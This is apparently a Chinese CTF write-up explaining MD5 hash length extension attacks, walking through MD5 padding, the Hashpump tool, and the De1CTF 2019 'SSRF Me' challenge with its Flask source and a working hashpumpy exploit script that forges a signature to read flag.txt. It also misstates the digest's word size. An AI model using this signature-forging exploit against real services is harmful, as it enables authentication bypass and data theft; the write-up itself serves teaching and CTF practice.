原理

哈希长度拓展攻击针对的是MD5,SHA-1等基于Merkle–Damgård压缩的哈希算法

以md5为例,当我们知道md5(secret)的值和secret的长度时,可以推算出md5(secret||padding||m’)的值,其中

  • secret是知道长度但不知道内容的原始消息
  • m’是我们想附加上去的任意数据
  • ||是连接符,可以为空。
  • padding是md5算法中用来填充的字节

先从md5算法的过程讲起,计算一个消息的md5值时,会进行三步

1.将消息分组

首先要将消息分成n组,每组长度为64 byte(512bit),最后一组可能不足64 byte

2.对最后一组进行填充

对最后一组用padding进行填充,以补足64 byte。
padding的规则是在原先消息最后一个字节后面补上0x80,然后不断补上0x00,直到最后一组长度为56 byte,剩下的8 byte存放需要哈希的消息的长度

比如消息为abcd,换成十六进制为

1
0x61 0x62 0x63 0x64

因为abcd只有4 byte,不足64byte,所以要用padding补全,只分一组
先补上0x80和0x00

1
0x61 0x62 0x63 0x64 0x80 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00

最后补上消息长度,abcd长4字节,也就是32位,换成16进制就是0x20位,所以变成

1
0x61 0x62 0x63 0x64 0x80 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x20 0x00 0x00 0x00 0x00 0x00 0x00 0x00

3.对消息块依次进行运算

这一步会对每组消息依次进行压缩,也就是依次进行64轮数学运算

首先第一轮会使用四个在标准中写死的初始化向量,对第一组消息进行运算

1
2
3
4
A=0x67452301
B=0xefcdab89
C=0x98badcfe
D=0x10325476

具体的计算过程比较复杂,计算完后会产生4个新的向量,这四个新的向量会用来对第二组消息进行运算,以此类推
而最后一轮运算产生的4个向量经过变换就是最后的md5值

问题就出在最后一轮运算上,将最后的md5值分成4组,每组8 byte,然后经过一些数学变换就可以得到最后一轮运算的4个向量,从而继续进行数学变换

将m’分组并进行填充,然后用得到的4个向量继续运算,最后就能得到md5(secret||padding||m’)的值

Hashpump

用Hashpump这个工具可以很方便的进行哈希拓展攻击
https://www.cnblogs.com/pcat/p/5478509.html

例题

以De1CTF 2019的ssrf me为例
题目环境:http://139.180.128.86/
buuoj上的环境:https://buuoj.cn/challenges#[De1CTF%202019]SSRF%20Me

直接给出了python的后端代码,给了个提示说flag在./flag.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
#! /usr/bin/ python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')
def index():
return open("code.txt","r").read()

def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)

分析代码可以知道

  • 访问/geneSign 可以得到md5(secert_key + param + action) 的值,这里的action被指定成了scan
  • 在/De1ta 有ssrf,可以去访问到flag.txt,但action参数要包含read才能看到内容
  • 访问/De1ta时checkSign函数会检查md5(secret_key+param+aciton)和sign参数是否相同,而我们知道action为scan时md5(secret_key+param+action) 的值,以及secret_key的长度为16
  • 通过哈希长度拓展攻击可以知道action为scanread时md5(secret_key+param+action)的值,这时指定param为flag.txt就可以得到flag

使用hashpump的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashpumpy
import urllib.parse
import requests

param='flag.txt'
url = 'http://139.180.128.86/'
sign_url = url + '/geneSign' + '?param='+ param
ssrf_url = url + '/De1ta' + '?param=' + param
sign = requests.post(url=sign_url).content
sign,add_data = hashpumpy.hashpump(sign,param+'scan','read',16)
add_data = add_data[len(param):]
print(sign)
print(add_data)
flag = requests.post(url=ssrf_url,cookies={'action':urllib.parse.quote(add_data),'sign':sign}).content
print(flag)

实际中的使用

现实中这个漏洞还是比较少的,之前在p神博客上看到过一篇
https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html